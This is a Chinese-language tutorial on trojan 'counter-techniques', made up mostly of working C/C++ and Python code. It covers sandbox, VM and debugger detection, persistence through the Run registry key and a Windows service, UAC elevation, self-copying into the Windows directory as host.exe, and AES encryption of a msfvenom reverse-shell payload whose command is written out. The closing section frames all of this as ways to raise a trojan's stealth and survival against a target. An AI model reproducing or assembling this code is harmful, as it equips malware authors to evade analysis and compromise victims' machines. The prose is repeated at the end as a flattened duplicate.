一些木马反制技巧
字数 1124 2025-08-20 18:17:00

木马反制技术详解

反沙箱技术

沙箱检测原理

沙箱(Sandbox)是一种隔离机制,通过创建受控环境来分析恶意软件行为。国内常用云沙箱平台:

  • 微步在线:https://s.threatbook.com/
  • 安恒云沙箱:https://sandbox.dbappsecurity.com.cn/

白名单检测实现

通过检测常用软件进程是否存在来判断是否运行在沙箱环境:

#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
#include <stdbool.h>

bool is_process_running(const char* process_name) {
    bool found = false;
    HANDLE hProcessSnap;
    PROCESSENTRY32 pe32;

    hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hProcessSnap == INVALID_HANDLE_VALUE) {
        return false;
    }

    pe32.dwSize = sizeof(PROCESSENTRY32);

    if (!Process32First(hProcessSnap, &pe32)) {
        CloseHandle(hProcessSnap);
        return false;
    }

    do {
        if (strcmp(pe32.szExeFile, process_name) == 0) {
            found = true;
            break;
        }
    } while (Process32Next(hProcessSnap, &pe32));

    CloseHandle(hProcessSnap);
    return found;
}

int main() {
    if (!is_process_running("qq.exe") && !is_process_running("wechat.exe")) {
        return 0; // 无常用软件进程,可能是沙箱,退出程序
    }
    return 0;
}

关键函数:

  • CreateToolhelp32Snapshot: 获取进程快照
  • Process32First/Process32Next: 遍历进程列表
  • pe32.szExeFile: 进程可执行文件名

反虚拟机技术

虚拟机检测方法

通过检查注册表中的硬件信息判断是否运行在虚拟机中:

#include <windows.h>
#include <stdio.h>

int IsRunningInVM() {
    char szHardware[256];
    DWORD size = sizeof(szHardware);
    int isVM = 0;

    // 检查IDE硬件信息
    if (RegGetValueA(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Enum\\IDE", 
        "HardwareID", RRF_RT_REG_SZ, NULL, szHardware, &size) == ERROR_SUCCESS) {
        if (strstr(szHardware, "VMware") || strstr(szHardware, "Virtual")) {
            isVM = 1;
        }
    }

    // 检查磁盘枚举信息
    size = sizeof(szHardware);
    if (RegGetValueA(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\Disk\\Enum", 
        "0", RRF_RT_REG_SZ, NULL, szHardware, &size) == ERROR_SUCCESS) {
        if (strstr(szHardware, "VMware") || strstr(szHardware, "VBOX")) {
            isVM = 1;
        }
    }

    return isVM;
}

int main(int argc, char *argv[]) {
    if (IsRunningInVM()) {
        return 0; // 检测到虚拟机,退出程序
    }
    // 正常执行代码
}

关键注册表路径:

  • HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\IDE
  • HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Disk\Enum

反调试技术

调试器检测

使用IsDebuggerPresent函数检测是否被调试:

#include <windows.h>
#include <stdio.h>

void checkDebugger() {
    if (IsDebuggerPresent()) {
        ExitProcess(1); // 检测到调试器,立即退出
    }
}

int main() {
    checkDebugger();
    // 正常执行代码
    return 0;
}

持久化技术

开机自启动注册表

通过注册表实现开机自启动:

#include <windows.h>
#include <stdio.h>

void add_to_startup(const char *appname, const char *path) {
    HKEY hKey;
    LONG result;

    result = RegOpenKeyEx(HKEY_CURRENT_USER,
                        "Software\\Microsoft\\Windows\\CurrentVersion\\Run",
                        0, KEY_SET_VALUE, &hKey);

    if (result != ERROR_SUCCESS) {
        return;
    }

    result = RegSetValueEx(hKey, appname, 0, REG_SZ, 
                         (BYTE *)path, strlen(path) + 1);

    RegCloseKey(hKey);
}

int main(int argc, char *argv[]) {
    char path[MAX_PATH];
    if (GetModuleFileName(NULL, path, MAX_PATH) == 0) {
        return 1;
    }
    add_to_startup("MyAppName", path); // 添加到启动项
}

关键注册表路径:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

Windows服务注册

通过创建服务实现持久化(需要管理员权限):

#include <windows.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <wincrypt.h>
#include <shlobj.h>
#pragma comment(lib, "crypt32.lib")
#pragma comment(lib, "advapi32.lib")

void CreateServiceToRunAtStartup() {
    SC_HANDLE schSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE);
    if (schSCManager == NULL) {
        return;
    }

    char path[MAX_PATH];
    SHGetSpecialFolderPath(NULL, path, CSIDL_WINDOWS, FALSE);
    strcat(path, "\\host.exe");

    SC_HANDLE schService = CreateService(
        schSCManager, 
        "host",          // 服务名
        "host",          // 显示名
        SERVICE_ALL_ACCESS, 
        SERVICE_WIN32_OWN_PROCESS, 
        SERVICE_AUTO_START, // 自动启动
        SERVICE_ERROR_NORMAL, 
        path,           // 可执行文件路径
        NULL, NULL, NULL, NULL, NULL);

    if (schService == NULL) {
        CloseServiceHandle(schSCManager);
        return;
    }

    CloseServiceHandle(schService);
    CloseServiceHandle(schSCManager);
}

int main(int argc, char *argv[]) {
    CreateServiceToRunAtStartup();
}

提权技术

弹窗请求管理员权限:

#include <windows.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <wincrypt.h>
#pragma comment(lib, "crypt32.lib")

BOOL IsRunAsAdministrator() {
    BOOL fIsRunAsAdmin = FALSE;
    PSID pAdministratorsGroup = NULL;

    SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY;
    if (AllocateAndInitializeSid(&NtAuthority, 2, SECURITY_BUILTIN_DOMAIN_RID, 
        DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, &pAdministratorsGroup)) {
        CheckTokenMembership(NULL, pAdministratorsGroup, &fIsRunAsAdmin);
        FreeSid(pAdministratorsGroup);
    }

    return fIsRunAsAdmin;
}

void ElevatePrivileges() {
    if (!IsRunAsAdministrator()) {
        char szPath[MAX_PATH];
        if (GetModuleFileName(NULL, szPath, ARRAYSIZE(szPath))) {
            SHELLEXECUTEINFO sei = { sizeof(sei) };
            sei.lpVerb = "runas"; // 请求管理员权限
            sei.lpFile = szPath;
            sei.hwnd = NULL;
            sei.nShow = SW_NORMAL;
            if (!ShellExecuteEx(&sei)) {
                exit(1);
            }
            exit(0);
        }
    }
}

int main(int argc, char *argv[]) {
    ElevatePrivileges();
}

隐藏技术

文件隐藏

将木马复制到系统目录并改名:

#include <windows.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <wincrypt.h>
#include <shlobj.h>
#pragma comment(lib, "crypt32.lib")
#pragma comment(lib, "advapi32.lib")

void CopyFilesToWindowsDir() {
    char srcPath[MAX_PATH], destPath[MAX_PATH];
    GetModuleFileName(NULL, srcPath, MAX_PATH);
    SHGetSpecialFolderPath(NULL, destPath, CSIDL_WINDOWS, FALSE);
    strcat(destPath, "\\host.exe");
    CopyFile(srcPath, destPath, FALSE); // 复制到Windows目录并改名
}

int main(int argc, char *argv[]) {
    CopyFilesToWindowsDir();
}

Shellcode混淆技术

AES加密Shellcode

  1. 生成原始Shellcode:
msfvenom -p windows/x64/shell_reverse_tcp lhost=192.168.0.110 lport=8888 -f raw -o msf.bin
  1. Python脚本加密Shellcode:
import sys
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from os import urandom
import hashlib

def AESencrypt(plaintext, key):
    k = hashlib.sha256(KEY).digest()
    iv = 16 * b'\x00'
    plaintext = pad(plaintext, AES.block_size)
    cipher = AES.new(k, AES.MODE_CBC, iv)
    ciphertext = cipher.encrypt(plaintext)
    return ciphertext, key

def printResult(key, ciphertext):
    print('char AESkey[] = { 0x' + ', 0x'.join(hex(x)[2:] for x in KEY) + ' };')
    print('unsigned char payload[] = { 0x' + ', 0x'.join(hex(x)[2:] for x in ciphertext) + ' };')

try:
    file = open(sys.argv[1], "rb")
    content = file.read()
except:
    print("Usage: .\AES_cryptor.py PAYLOAD_FILE")
    sys.exit()

KEY = urandom(16)
ciphertext, key = AESencrypt(content, KEY)
printResult(KEY, ciphertext)
  1. C++解密和执行Shellcode:
#include <windows.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <wincrypt.h>
#include <shlobj.h>
#pragma comment(lib, "crypt32.lib")
#pragma comment(lib, "advapi32.lib")

void aes(char* code, DWORD codeLen, char* key, DWORD keyLen) {
    HCRYPTPROV hProv;
    HCRYPTHASH hHash;
    HCRYPTKEY hKey;

    if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) {
        return;
    }
    if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)) {
        return;
    }
    if (!CryptHashData(hHash, (BYTE*)key, keyLen, 0)) {
        return;
    }
    if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0, &hKey)) {
        return;
    }

    if (!CryptDecrypt(hKey, (HCRYPTHASH)NULL, 0, 0, (BYTE*)code, &codeLen)) {
        return;
    }

    CryptReleaseContext(hProv, 0);
    CryptDestroyHash(hHash);
    CryptDestroyKey(hKey);
}

int main(int argc, char *argv[]) {
    unsigned char key[] = { 0xed, 0x39, 0x56, 0x67, 0xcd, 0x62, 0xf7, 0x91, 0x62, 0xb, 0x85, 0x53, 0x9b, 0x17, 0xae, 0xc9 };
    unsigned char code[] = {0xa0, 0x82, 0xa3, 0xbf, 0xce, 0xd5, 0xd5, 0xce, 0x0, 0xf8, 0xc1, 0x34, 0x7f, 0x39, 0xcf, 0xdb, /*...*/};
    
    DWORD code_length = sizeof(code);
    aes((char*)code, code_length, key, sizeof(key));
    // 解密后执行Shellcode
}

关键加密函数:

  • CryptAcquireContextW: 获取加密服务提供程序
  • CryptCreateHash: 创建哈希对象
  • CryptHashData: 哈希数据
  • CryptDeriveKey: 派生密钥
  • CryptDecrypt: 解密数据

总结

本文详细介绍了木马程序常用的反制技术,包括:

  1. 反沙箱检测 - 通过白名单进程检测
  2. 反虚拟机检测 - 通过注册表硬件信息检测
  3. 反调试技术 - 使用IsDebuggerPresent检测
  4. 持久化技术 - 注册表启动项和服务注册
  5. 提权技术 - UAC弹窗请求管理员权限
  6. 隐藏技术 - 复制到系统目录并改名
  7. Shellcode混淆 - AES加密/解密技术

这些技术可以组合使用,提高木马程序的隐蔽性和生存能力。在实际应用中,应根据目标环境选择合适的反制技术组合。

木马反制技术详解 反沙箱技术 沙箱检测原理 沙箱(Sandbox)是一种隔离机制,通过创建受控环境来分析恶意软件行为。国内常用云沙箱平台: 微步在线:https://s.threatbook.com/ 安恒云沙箱:https://sandbox.dbappsecurity.com.cn/ 白名单检测实现 通过检测常用软件进程是否存在来判断是否运行在沙箱环境: 关键函数 : CreateToolhelp32Snapshot : 获取进程快照 Process32First / Process32Next : 遍历进程列表 pe32.szExeFile : 进程可执行文件名 反虚拟机技术 虚拟机检测方法 通过检查注册表中的硬件信息判断是否运行在虚拟机中: 关键注册表路径 : HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\IDE HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Disk\Enum 反调试技术 调试器检测 使用 IsDebuggerPresent 函数检测是否被调试: 持久化技术 开机自启动注册表 通过注册表实现开机自启动: 关键注册表路径 : HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run Windows服务注册 通过创建服务实现持久化(需要管理员权限): 提权技术 弹窗请求管理员权限: 隐藏技术 文件隐藏 将木马复制到系统目录并改名: Shellcode混淆技术 AES加密Shellcode 生成原始Shellcode: Python脚本加密Shellcode: C++解密和执行Shellcode: 关键加密函数 : CryptAcquireContextW : 获取加密服务提供程序 CryptCreateHash : 创建哈希对象 CryptHashData : 哈希数据 CryptDeriveKey : 派生密钥 CryptDecrypt : 解密数据 总结 本文详细介绍了木马程序常用的反制技术,包括: 反沙箱检测 - 通过白名单进程检测 反虚拟机检测 - 通过注册表硬件信息检测 反调试技术 - 使用IsDebuggerPresent检测 持久化技术 - 注册表启动项和服务注册 提权技术 - UAC弹窗请求管理员权限 隐藏技术 - 复制到系统目录并改名 Shellcode混淆 - AES加密/解密技术 这些技术可以组合使用,提高木马程序的隐蔽性和生存能力。在实际应用中,应根据目标环境选择合适的反制技术组合。